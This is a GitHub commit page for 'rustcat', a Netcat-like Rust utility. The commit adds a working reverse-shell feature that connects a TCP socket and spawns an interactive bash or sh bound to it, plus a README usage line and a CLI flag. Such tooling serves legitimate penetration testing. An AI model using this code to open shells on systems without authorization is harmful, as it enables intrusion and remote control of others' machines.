Skip to content

Commit

Permalink
✨ Added Reverse Shell
Browse files Browse the repository at this point in the history
  • Loading branch information
robiot committed Aug 5, 2021
1 parent 8daa31f commit e46fcdf
Show file tree
Hide file tree
Showing 4 changed files with 93 additions and 6 deletions.
16 changes: 15 additions & 1 deletion Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

5 changes: 3 additions & 2 deletions Cargo.toml
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
[package]
name = "rustcat"
version = "0.0.5"
version = "1.0.0"
authors = ["robiot"]
description = "rustcat - Like Netcat but in Rust"
license = "MIT"
Expand All @@ -14,4 +14,5 @@ path = "src/main.rs"
[dependencies]
termion = "1.5.6"
getopts = "0.2"
rustyline = "8.2.0"
rustyline = "8.2.0"
socket2 = "0.3.8"
4 changes: 4 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -77,3 +77,7 @@ Listen to port **55660** on specified ip (192.168.1.10) :
```
rc -l 192.168.1.10 55660
```
Create a reverse shell on port **55660**:
```
rc -rp 55660
```
74 changes: 71 additions & 3 deletions src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -4,11 +4,20 @@
/////////////////////////////

use rustyline::error::ReadlineError;
use std::net::SocketAddr;
use std::process::{Command, Stdio};
use rustyline::Editor;
use std::io::{self, Write};
use getopts::Options;
use termion::color;

extern crate socket2;

use self::socket2::{Socket, Domain, Type};

use std::os::unix::io::{AsRawFd, FromRawFd};


/* Global Variables */
const __VERSION__: &'static str = env!("CARGO_PKG_VERSION");

Expand Down Expand Up @@ -189,6 +198,43 @@ fn listen(opts: &Opts) -> std::io::Result<()> {
return Ok(());
}

/* Open A Sh/Bash Reverse Shell */
fn revshell(port: String, shell: String){
// Limit to just these
if shell != "bash" && shell != "sh"
{
print_error("Invalid Shell. Available shells (bash/sh).");
return;
}

let full: String = ["0.0.0.0", &port].join(":");

let socket = Socket::new(Domain::ipv4(), Type::stream(), None).unwrap();

match socket.connect(&full.parse::<SocketAddr>().unwrap().into()) {
Ok(_) => {}
Err(err) => print_error(&err.to_string())
}

let s = socket.into_tcp_stream();

let fd = s.as_raw_fd();

// Open shell
Command::new(format!("/bin/{}", shell))
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();


println!("Shell exited");
}

/* Main */
fn main() {
let args: Vec<String> = std::env::args().collect();
Expand All @@ -197,10 +243,12 @@ fn main() {
let mut opts = Options::new();
opts.optflag("h", "help", "This help text");
opts.optflag("v", "version", "Application Version");
opts.optflag("H", "history", "Command history for tcp (Beta)");
opts.optflag("H", "history", "Command history for tcp");
opts.optflag("l", "", "Listen mode");
opts.optflag("p", "", "Listen port");
opts.optflag("u", "", "UDP mode (Beta)");
opts.optflag("p", "", "Port");
opts.optflag("u", "", "UDP mode");
opts.optflag("r", "", "Reverse Shell");


let matches = match opts.parse(&args[1..]) {
Ok(m) => m,
Expand All @@ -210,6 +258,7 @@ fn main() {
}
};

// Help/about
if matches.opt_present("h") {
print_help(&program, opts);
return;
Expand All @@ -218,6 +267,25 @@ fn main() {
return;
}

// Reverse Shell
if matches.opt_present("r") {
let opt_port: String;
let opt_shell: String;


if matches.free.len() == 2 && matches.opt_present("p") {
opt_port = matches.free[0].to_string();
opt_shell = matches.free[1].to_string();
} else {
print_help(&program, opts);
return;
};

revshell(opt_port, opt_shell);
return;
}

// Listen mode
if matches.opt_present("l") {
let (opt_host, opt_port) = if matches.free.len() == 1 && matches.opt_present("p") {
("0.0.0.0", matches.free[0].as_str())
Expand Down

0 comments on commit e46fcdf

Please sign in to comment.